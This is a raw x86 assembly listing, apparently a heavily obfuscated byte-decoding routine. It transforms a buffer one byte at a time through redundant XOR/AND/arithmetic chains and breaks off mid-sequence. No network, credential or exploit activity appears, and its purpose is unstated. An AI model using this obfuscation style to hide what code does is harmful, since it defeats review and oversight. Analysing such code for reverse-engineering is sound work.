mov al, byte [0x471615]
xor al, 0x6d
mov byte [0x471815], al
mov al, byte [0x471616]
mov cl, al
xor cl, 0x40
xor cl, 0xff
and cl, 0x40
shl cl, 1
sub cl, 0x40
sub al, cl
mov byte [0x471816], al
mov al, byte [0x471617]
mov cl, al
and cl, cl
mov dl, al
xor dl, dl
or cl, dl
xor cl, 0xff
mov dl, cl
xor dl, 0xff
and dl, 0x9d
and cl, 0x62
or dl, cl
xor dl, 0x62
and dl, 0x74
xor al, 0xff
and al, 0x8b
xor dl, 0xff
xor al, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
xor ah, 0xff
or cl, ah
xor dl, 0xff
xor al, 0xff
or dl, al
and cl, dl
xor cl, 0xff
mov byte [0x471817], cl
mov cl, byte [0x471618]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0x45
xor al, 0xff
xor cl, 0xff
and cl, 0x45
or al, cl
xor al, 0xff
mov byte [0x471818], al
mov al, byte [0x471619]
mov cl, al
and cl, 0xb6
shl cl, 1
add al, 0xb6
sub al, cl
mov byte [0x471819], al
mov al, byte [0x47161a]
xor al, 0x3a
mov byte [0x47181a], al
mov al, byte [0x47161b]
mov cl, al
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, cl
mov dl, al
add dl, cl
sub dl, ah
xor dl, 0xff
xor dl, 0xff
and dl, 0x67
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
and al, 0x98
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47181b], dl
mov al, byte [0x47161c]
mov cl, al
and cl, 0xf7
shl cl, 1
add al, 0xf7
sub al, cl
mov byte [0x47181c], al
mov al, byte [0x47161d]
xor al, 0x69
mov byte [0x47181d], al
mov al, byte [0x47161e]
xor al, 0x5a
mov byte [0x47181e], al
mov al, byte [0x47161f]
xor al, 0xc9
mov byte [0x47181f], al
mov al, byte [0x471620]
mov cl, al
xor cl, 0xff
and cl, 0x2c
and al, 0xd3
or cl, al
xor cl, 0x97
mov byte [0x471820], cl
mov al, byte [0x471621]
xor al, 0x6c
mov byte [0x471821], al
mov bl, byte [0x471622]
mov dl, bl
xor dl, 0xff
or dl, 0xa7
xor dl, 0xff
and dl, 0xff
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub bl, 0xa8
sub bl, al
mov byte [0x471822], bl
mov al, byte [0x471623]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x33
or al, 0x33
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x471823], dl
mov al, byte [0x471624]
xor al, 0xc3
mov byte [0x471824], al
mov al, byte [0x471625]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xa5
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
xor al, 0xff
or al, 0xa5
mov cl, dl
xor cl, al
xor cl, 0xff
or dl, al
and dl, cl
xor dl, 0xff
mov byte [0x471825], dl
mov dl, byte [0x471626]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
mov cl, al
xor cl, 0x56
xor cl, 0xff
or al, 0x56
and al, cl
xor dl, 0xff
mov ah, dl
xor ah, 0xff
or ah, 0x56
xor dl, 0xff
or dl, 0x56
and ah, dl
xor ah, 0xff
mov cl, ah
and cl, al
xor cl, 0xff
add al, ah
add al, 1
add al, cl
xor al, 0xff
mov byte [0x471826], al
mov al, byte [0x471627]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0xad
xor al, 0xff
or al, 0x52
and cl, al
xor cl, 0xff
mov byte [0x471827], cl
mov al, byte [0x471628]
mov dl, al
xor dl, 0x8e
xor dl, 0xff
xor dl, 0xff
or dl, 0x71
xor dl, 0xff
and dl, 0xff
shl dl, 1
add dl, 0xcf
sub dl, 0x8e
sub dl, 0xcf
sub al, dl
mov byte [0x471828], al
mov al, byte [0x471629]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0x1b
add dl, cl
shl dl, 1
add al, 0x1b
add al, 0xee
sub al, dl
sub al, 0xee
mov byte [0x471829], al
mov al, byte [0x47162a]
xor al, 0x7b
mov byte [0x47182a], al
mov al, byte [0x47162b]
mov cl, al
xor cl, 0x82
xor cl, 0xff
and cl, 0x82
shl cl, 1
sub cl, 0x82
sub al, cl
mov byte [0x47182b], al
mov cl, byte [0x47162c]
mov al, cl
xor al, 0xff
and al, 0xf3
mov dl, cl
add dl, 1
xor cl, 0xff
or cl, 0xc
add cl, dl
or al, cl
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xb
or al, 0xb
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x47182c], cl
mov al, byte [0x47162d]
mov cl, al
xor cl, 0xff
and cl, 0x2a
and al, 0xd5
or cl, al
xor cl, 0x8c
mov byte [0x47182d], cl
mov cl, byte [0x47162e]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0x29
xor al, 0xff
xor cl, 0xff
or cl, 0x29
and al, cl
xor al, 0xff
mov byte [0x47182e], al
mov cl, byte [0x47162f]
mov al, cl
xor al, 0xff
or al, 0xea
add al, 0x16
and cl, 0xea
mov dl, cl
and dl, al
xor dl, 0xff
add al, cl
add al, 1
add al, dl
mov byte [0x47182f], al
mov al, byte [0x471630]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, cl
and ah, dl
xor ah, 0xff
add dl, cl
add dl, 1
add dl, ah
xor dl, 0xff
or dl, 0xf7
and al, 0xf7
xor al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
mov cl, al
xor cl, 0xff
xor al, 0xff
and cl, al
or ah, cl
xor ah, 0xff
mov al, ah
xor al, 0xff
xor ah, 0xff
and al, ah
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
mov byte [0x471830], al
mov al, byte [0x471631]
mov cl, al
xor cl, 0x3e
xor cl, 0xff
and cl, 0x3e
shl cl, 1
sub cl, 0x3e
sub al, cl
mov byte [0x471831], al
mov al, byte [0x471632]
xor al, 0x6b
mov byte [0x471832], al
mov dl, byte [0x471633]
mov al, dl
and al, al
xor al, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x2e
add al, cl
xor al, 0xff
xor dl, 0xff
mov cl, dl
and cl, 0xd1
mov ah, dl
xor ah, 0x2e
add dl, ah
sub dl, cl
xor dl, 0xff
mov cl, al
xor cl, dl
and cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
mov byte [0x471833], cl
mov dl, byte [0x471634]
mov cl, dl
and cl, 0xff
shl cl, 1
mov al, dl
add al, 0xff
sub al, cl
mov cl, dl
xor cl, 0xff
mov ah, dl
xor ah, 0xff
and cl, ah
or cl, 0
xor cl, 0xff
or cl, 0
xor cl, 0xff
or al, cl
and al, 0xd4
xor al, 0xff
and dl, dl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
or dl, 0xd4
and al, dl
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
mov byte [0x471834], al
mov al, byte [0x471635]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0xdc
xor dl, 0xff
xor al, 0xff
or al, 0xdc
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x471835], dl
mov al, byte [0x471636]
xor al, 0xc2
mov byte [0x471836], al
mov al, byte [0x471637]
xor al, 0x79
mov byte [0x471837], al
mov al, byte [0x471638]
mov cl, al
xor cl, 0x9e
xor cl, 0xff
and cl, 0x9e
shl cl, 1
sub cl, 0x9e
sub al, cl
mov byte [0x471838], al
mov al, byte [0x471639]
xor al, 0xfd
mov byte [0x471839], al
mov al, byte [0x47163a]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0x94
xor cl, 0xff
or al, 0x6b
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x47183a], cl
mov al, byte [0x47163b]
xor al, 0x16
mov byte [0x47183b], al
mov al, byte [0x47163c]
mov cl, al
xor cl, 0xff
mov dl, cl
and dl, 0xb2
xor dl, 0xff
xor cl, 0xff
or cl, 0x4d
and dl, cl
xor dl, 0xff
and al, 0x4d
mov cl, dl
and cl, al
xor dl, al
or cl, dl
xor cl, 0x26
mov byte [0x47183c], cl
mov al, byte [0x47163d]
mov cl, al
xor cl, 0xff
and cl, 0x1b
and al, 0xe4
or cl, al
xor cl, 0xe6
mov byte [0x47183d], cl
mov al, byte [0x47163e]
xor al, 0x5c
mov byte [0x47183e], al
mov dl, byte [0x47163f]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, 0xb1
add al, cl
mov cl, dl
and cl, 0xb1
xor dl, 0xb1
or cl, dl
xor cl, 0xff
mov dl, al
xor dl, 0xff
mov ah, cl
xor ah, 0xff
and dl, ah
or al, cl
xor al, 0xff
or dl, al
xor dl, 0xff
xor dl, 0xff
mov byte [0x47183f], dl
mov al, byte [0x471640]
xor al, 0x55
mov byte [0x471840], al
mov al, byte [0x471641]
xor al, 0x1b
mov byte [0x471841], al
mov al, byte [0x471642]
xor al, 0xf7
mov byte [0x471842], al
mov al, byte [0x471643]
mov cl, al
xor cl, 0xff
and cl, 0x32
and al, 0xcd
or cl, al
xor cl, 0xf4
mov byte [0x471843], cl
mov al, byte [0x471644]
mov cl, al
xor cl, 0xff
and cl, 0x56
and al, 0xa9
or cl, al
mov byte [0x471844], cl
mov al, byte [0x471645]
mov cl, al
xor cl, 0xff
and cl, 0x5a
and al, 0xa5
or cl, al
xor cl, 0xff
mov byte [0x471845], cl
mov bl, byte [0x471646]
mov al, bl
xor al, 0x16
xor al, 0xff
mov dl, bl
or dl, 0x16
and dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x16
sub bl, al
mov byte [0x471846], bl
mov bl, byte [0x471647]
mov al, bl
and al, 0x26
shl al, 1
mov dl, bl
add dl, 0x26
sub dl, al
xor dl, 0xff
xor dl, 0xff
or dl, 0xd9
xor dl, 0xff
and dl, 0xff
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, al
xor cl, 0x26
and al, 0xd9
shl al, 1
sub al, cl
xor al, 0xff
add bl, al
add bl, 1
mov byte [0x471847], bl
mov dh, byte [0x471648]
mov al, dh
add al, 1
mov dl, dh
xor dl, 0xff
or dl, 0xab
add dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov bl, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, bl
xor ebx, ebx
sub bl, dh
add bl, 0x55
xor edx, edx
sub dl, bl
add dl, 0xda
sub dl, al
sub dl, 0xda
mov byte [0x471848], dl
mov al, byte [0x471649]
mov cl, al
xor cl, 0xff
and cl, 0x35
and al, 0xca
or cl, al
xor cl, 0x99
mov byte [0x471849], cl
mov cl, byte [0x47164a]
mov al, cl
xor al, 0xff
xor al, 0xff
or al, 0x2b
xor al, 0xff
and al, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x2b
or al, dl
mov byte [0x47184a], al
mov al, byte [0x47164b]
xor al, 0x3a
mov byte [0x47184b], al
mov al, byte [0x47164c]
xor al, 0x8b
mov byte [0x47184c], al
mov al, byte [0x47164d]
xor al, 0xe6
mov byte [0x47184d], al
mov bl, byte [0x47164e]
mov al, bl
xor al, 0x42
xor al, 0xff
mov dl, al
xor dl, 0xff
or dl, 0xbd
xor al, 0xff
or al, 0xbd
xor dl, 0xff
xor al, 0xff
or dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, al
xor cl, 0x42
and al, 0xbd
shl al, 1
sub al, cl
sub bl, al
mov byte [0x47184e], bl
mov al, byte [0x47164f]
mov cl, al
xor cl, 0xff
and cl, 0x4d
and al, 0xb2
or cl, al
xor cl, 0x92
mov byte [0x47184f], cl
mov al, byte [0x471650]
mov dl, al
or dl, dl
xor dl, 0xff
mov cl, al
or cl, cl
xor cl, 0xff
or dl, cl
xor dl, 0xff
xor dl, 0xff
xor dl, 0xff
and dl, 0x85
xor al, 0xff
and al, 0xff
or al, 0
or al, al
xor al, 0xff
xor al, 0xff
and al, 0x7a
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x471850], dl
mov cl, byte [0x471651]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0x66
or cl, 0x66
xor cl, 0xff
or al, cl
xor al, 0xff
mov byte [0x471851], al
mov dl, byte [0x471652]
mov ah, dl
or ah, ah
xor ah, 0xff
mov al, dl
or al, al
xor al, 0xff
xor ah, 0xff
xor al, 0xff
and ah, al
mov al, ah
xor al, 0xff
xor ah, 0xff
or al, ah
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
and al, 0xf3
or dl, 0xf3
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
or ah, 0
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
xor al, 0xff
or ah, ah
xor ah, 0xff
or ah, 0
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
and al, ah
mov byte [0x471852], al
mov al, byte [0x471653]
xor al, 0xf8
mov byte [0x471853], al
mov al, byte [0x471654]
mov cl, al
xor cl, 0xff
and cl, 0xa7
and al, 0x58
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
and dl, cl
xor dl, 0xff
xor dl, 0x31
mov byte [0x471854], dl
mov al, byte [0x471655]
mov cl, al
xor cl, 0xff
and cl, 0x79
and al, 0x86
or cl, al
xor cl, 0x1a
mov byte [0x471855], cl
mov al, byte [0x471656]
xor al, 0xbf
mov byte [0x471856], al
mov al, byte [0x471657]
xor al, 0x6c
mov byte [0x471857], al
mov al, byte [0x471658]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0x9e
shl cl, 1
sub al, 0x62
sub al, cl
mov byte [0x471858], al
mov al, byte [0x471659]
mov cl, al
xor cl, 0xff
and cl, 0xed
and al, 0x12
or cl, al
mov byte [0x471859], cl
mov al, byte [0x47165a]
xor al, 0xc5
mov byte [0x47185a], al
mov al, byte [0x47165b]
mov cl, al
xor cl, 0xff
or cl, 0xdd
add cl, 0x23
mov dl, al
xor dl, 0x22
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [0x47185b], al
mov al, byte [0x47165c]
mov cl, al
xor cl, 0x70
xor cl, 0xff
and cl, 0x70
shl cl, 1
sub cl, 0x70
sub al, cl
mov byte [0x47185c], al
mov al, byte [0x47165d]
mov ah, al
xor ah, 0xff
and ah, 0x90
mov cl, al
and cl, 0x6f
or ah, cl
xor ah, 0xff
mov dl, ah
xor dl, 0xff
or dl, 0x6f
xor ah, 0xff
or ah, 0x6f
and dl, ah
xor dl, 0xff
shl dl, 1
mov cl, dl
xor cl, 0xff
and cl, 0x90
and dl, 0x6f
sub dl, cl
sub al, dl
mov byte [0x47185d], al
mov al, byte [0x47165e]
xor al, 0xd6
mov byte [0x47185e], al
mov al, byte [0x47165f]
xor al, 0x8a
mov byte [0x47185f], al
mov al, byte [0x471860]
xor al, 0xeb
mov byte [0x4718e0], al
mov dl, byte [0x471861]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
or al, 0x9c
xor al, 0xff
and al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
xor ah, 0xff
and ah, 0x9c
mov dl, al
xor dl, 0xff
mov bl, ah
xor bl, 0xff
mov dh, dl
and dh, 0x6b
and al, 0x94
mov cl, bl
and cl, 0x6b
and ah, 0x94
or dh, al
or cl, ah
xor dh, cl
or dl, bl
xor dl, 0xff
and dl, 0xff
or dh, dl
xor dh, 0x35
mov byte [0x4718e1], dh
mov al, byte [0x471862]
xor al, 0xa9
mov byte [0x4718e2], al
mov al, byte [0x471863]
xor al, 0x1a
mov byte [0x4718e3], al
mov al, byte [0x471864]
mov cl, al
xor cl, 0xff
and cl, 0x7c
and al, 0x83
or cl, al
mov byte [0x4718e4], cl
mov al, byte [0x471865]
xor al, 0xe2
mov byte [0x4718e5], al
mov al, byte [0x471866]
mov dl, al
xor dl, 0xff
and dl, 0x7a
mov cl, al
and cl, 0x85
or dl, cl
xor dl, 0x85
mov cl, al
xor cl, 0xff
and cl, 0x6e
mov ah, al
and ah, 0x91
or cl, ah
xor cl, 0x91
and dl, cl
mov ah, dl
or ah, 0x29
xor ah, 0xff
xor dl, 0xff
and dl, 0xd6
xor ah, 0xff
xor dl, 0xff
and ah, dl
xor ah, 0xff
xor al, 0xff
and al, 0x29
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
and dl, cl
xor dl, 0xff
xor dl, 0xff
mov byte [0x4718e6], dl
mov al, byte [0x471867]
mov cl, al
and cl, 0xf2
shl cl, 1
add al, 0x6f
add al, 0xf2
sub al, 0x6f
add al, 0x4c
sub al, cl
sub al, 0x4c
mov byte [0x4718e7], al
mov al, byte [0x471868]
xor al, 0xba
mov byte [0x4718e8], al
mov al, byte [0x471869]
mov cl, al
add cl, 1
mov ah, al
xor ah, 0xff
or ah, al
add ah, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
and dl, 0x83
xor dl, 0xff
xor al, 0xff
or al, 0x83
xor dl, 0xff
xor al, 0xff
and al, 0xff
or al, 0
mov cl, al
and cl, dl
xor cl, 0xff
add dl, al
add dl, 1
add dl, cl
mov byte [0x4718e9], dl
mov al, byte [0x47186a]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0x36
add dl, cl
shl dl, 1
add al, 0x36
mov cl, al
xor cl, 0xff
and cl, dl
xor dl, 0xff
and al, dl
sub al, cl
mov byte [0x4718ea], al
mov al, byte [0x47186b]
mov cl, al
xor cl, 0xc4
xor cl, 0xff
and cl, 0xc4
shl cl, 1
sub cl, 0xc4
sub al, cl
mov byte [0x4718eb], al
mov al, byte [0x47186c]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0x38
mov cl, al
and cl, 0xc7
xor cl, 0xff
and al, 0xc7
xor al, 0xff
and cl, al
xor cl, 0xff
mov al, dl
and al, cl
xor dl, cl
or al, dl
xor al, 0x83
mov byte [0x4718ec], al
mov al, byte [0x47186d]
mov cl, al
and cl, 0x2a
shl cl, 1
add al, 0x2a
sub al, cl
mov byte [0x4718ed], al
mov al, byte [0x47186e]
xor al, 0x18
mov byte [0x4718ee], al
mov al, byte [0x47186f]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
mov cl, dl
and cl, 0xf1
xor cl, 0xff
xor dl, 0xff
or dl, 0xe
and cl, dl
xor cl, 0xff
and al, 0xe
or cl, al
mov byte [0x4718ef], cl
mov dh, byte [0x471870]
mov al, dh
xor al, 0x78
xor al, 0xff
mov dl, dh
or dl, 0x78
and dl, al
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov bl, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, bl
xor ebx, ebx
sub bl, dh
add bl, 0x88
xor edx, edx
sub dl, bl
xor ecx, ecx
sub cl, al
add dl, cl
mov byte [0x4718f0], dl
mov al, byte [0x471871]
xor al, 0xb5
mov byte [0x4718f1], al
mov cl, byte [0x471872]
mov al, cl
xor al, 0xff
and al, 0xff
or al, 0
and al, 0x30
and cl, 0xcf
or al, cl
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xdb
xor al, 0xff
and al, 0x24
or dl, al
xor dl, 0xff
mov byte [0x4718f2], dl
mov dl, byte [0x471873]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0x3b
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
xor dl, 0xff
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0x3b
add dl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 0xce
and cl, 0x31
or al, cl
xor al, 0x31
mov byte [0x4718f3], al
mov al, byte [0x471874]
xor al, 0xa3
mov byte [0x4718f4], al
mov al, byte [0x471875]
mov cl, al
and cl, 0xe6
shl cl, 1
add al, 0xe6
sub al, cl
mov byte [0x4718f5], al
mov al, byte [0x471876]
xor al, 0xd9
mov byte [0x4718f6], al
mov bl, byte [0x471877]
mov al, bl
add al, 1
mov dl, bl
xor dl, 0xff
or dl, 0x25
add dl, al
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, bl
and cl, 0x25
shl cl, 1
xor bl, 0x25
add bl, cl
sub bl, al
mov byte [0x4718f7], bl
mov bl, byte [0x471878]
mov al, bl
add al, 1
mov dl, bl
xor dl, 0xff
or dl, 0x5a
add dl, al
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x5a
sub bl, al
mov byte [0x4718f8], bl
mov al, byte [0x471879]
xor al, 0x3a
mov byte [0x4718f9], al
mov al, byte [0x47187a]
xor al, 0xff
mov byte [0x4718fa], al
mov al, byte [0x47187b]
mov cl, al
xor cl, 0xff
and cl, 0xca
and al, 0x35
or cl, al
mov byte [0x4718fb], cl
mov al, byte [0x47187c]
xor al, 0x95
mov byte [0x4718fc], al
mov bl, byte [0x47187d]
mov al, bl
xor al, 0xea
xor al, 0xff
mov dl, bl
or dl, 0xea
and dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xea
add bl, 0x9e
sub bl, al
sub bl, 0x9e
mov byte [0x4718fd], bl
mov al, byte [0x47187e]
mov cl, al
and cl, 0x37
shl cl, 1
add al, 0x37
sub al, cl
mov byte [0x4718fe], al
mov cl, byte [0x47187f]
mov al, cl
xor al, 0xff
and al, 0x75
and cl, 0x8a
and al, al
xor al, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and al, dl
xor al, 0xff
mov byte [0x4718ff], al
mov al, byte [0x471880]
mov cl, al
xor cl, 0xff
and cl, 0xb6
and al, 0x49
or cl, al
xor cl, 0x2f
mov byte [0x471900], cl
mov al, byte [0x471881]
xor al, 0xfc
mov byte [0x471901], al
mov al, byte [0x471882]
xor al, 0x43
mov byte [0x471902], al
mov bl, byte [0x471883]
mov al, bl
xor al, 0xeb
mov dl, al
xor dl, 0xff
xor al, 0xff
and dl, al
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
and dl, 0xeb
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, al
xor cl, 0xff
and cl, 0xeb
and al, 0x14
sub al, cl
xor al, 0xff
add bl, al
add bl, 1
mov byte [0x471903], bl
mov al, byte [0x471884]
xor al, 0x43
mov byte [0x471904], al
mov al, byte [0x471885]
xor al, 0x49
mov byte [0x471905], al
mov al, byte [0x471886]
xor al, 0x51
mov byte [0x471906], al
mov al, byte [0x471887]
xor al, 0xd0
mov byte [0x471907], al
mov al, byte [0x471888]
xor al, 0x7c
mov byte [0x471908], al
mov al, byte [0x471889]
xor al, 0xc3
mov byte [0x471909], al
mov al, byte [0x47188a]
xor al, 0x5c
mov byte [0x47190a], al
mov al, byte [0x47188b]
xor al, 0x14
mov byte [0x47190b], al
mov ah, byte [0x47188c]
mov cl, ah
and cl, cl
xor cl, 0xff
mov al, ah
add al, al
add al, 1
add al, cl
xor al, 0xff
or al, 0x47
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov dl, ah
or dl, 0xb8
xor dl, 0xff
or ah, 0xb8
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
and dl, ah
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor al, 0xff
and dl, dl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and al, dl
mov byte [0x47190c], al
mov al, byte [0x47188d]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, al
add dl, cl
xor dl, 0xff
xor dl, 0xff
or dl, 0x7d
and al, 0x7d
xor al, 0xff
and al, 0xff
or al, 0
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47190d], dl
mov al, byte [0x47188e]
xor al, 0x2b
mov byte [0x47190e], al
mov al, byte [0x47188f]
xor al, 0x28
mov byte [0x47190f], al
mov al, byte [0x471890]
mov cl, al
xor cl, 0xff
and cl, 0xa8
and al, 0x57
or cl, al
xor cl, 0x96
mov byte [0x471910], cl
mov al, byte [0x471891]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0xb6
and al, 0xb6
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x471911], dl
mov al, byte [0x471892]
mov cl, al
and cl, 0xb8
shl cl, 1
add al, 0x66
add al, 0xb8
sub al, 0x66
sub al, cl
mov byte [0x471912], al
mov al, byte [0x471893]
mov cl, al
and cl, 0x51
shl cl, 1
add al, 0x51
sub al, cl
mov byte [0x471913], al
mov al, byte [0x471894]
mov cl, al
xor cl, 3
xor cl, 0xff
and cl, 3
shl cl, 1
add cl, 0xfd
sub al, 0x16
sub al, cl
add al, 0x16
mov byte [0x471914], al
mov al, byte [0x471895]
mov ah, al
xor ah, 8
xor ah, 0xff
mov dl, ah
xor dl, 0xff
or dl, 0xf7
and ah, 8
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
or dl, ah
shl dl, 1
sub dl, 8
mov cl, al
xor cl, 0xff
and cl, dl
xor dl, 0xff
and al, dl
sub al, cl
mov byte [0x471915], al
mov al, byte [0x471896]
xor al, 0xc6
mov byte [0x471916], al
mov al, byte [0x471897]
xor al, 3
mov byte [0x471917], al
mov al, byte [0x471898]
mov cl, al
xor cl, 0xff
and cl, 0x1f
and al, 0xe0
or cl, al
xor cl, 0x98
mov byte [0x471918], cl
mov al, byte [0x471899]
mov cl, al
xor cl, 0x3d
xor cl, 0xff
and cl, 0x3d
shl cl, 1
sub cl, 0x3d
mov dl, al
sub dl, cl
xor dl, 0xff
xor dl, 0xff
or dl, 0xc2
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0x3d
sub al, dl
mov byte [0x471919], al
mov al, byte [0x47189a]
xor al, 0xa2
mov byte [0x47191a], al
mov al, byte [0x47189b]
mov cl, al
or cl, cl
xor cl, 0xff
and cl, 0xff
or cl, 0
or cl, 0xb5
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or al, 0x4a
xor al, 0xff
mov cl, dl
and cl, al
xor dl, al
or cl, dl
xor cl, 0xff
mov byte [0x47191b], cl
mov al, byte [0x47189c]
xor al, 0xc3
mov byte [0x47191c], al
mov bl, byte [0x47189d]
mov dl, bl
xor dl, 0x53
and dl, bl
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xac
sub bl, al
mov byte [0x47191d], bl
mov dl, byte [0x47189e]
mov al, dl
or al, al
xor al, 0xff
or al, 0x4e
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor dl, 0xff
and dl, 0xff
or dl, 0
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
xor ah, 0xff
and ah, 0x4e
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
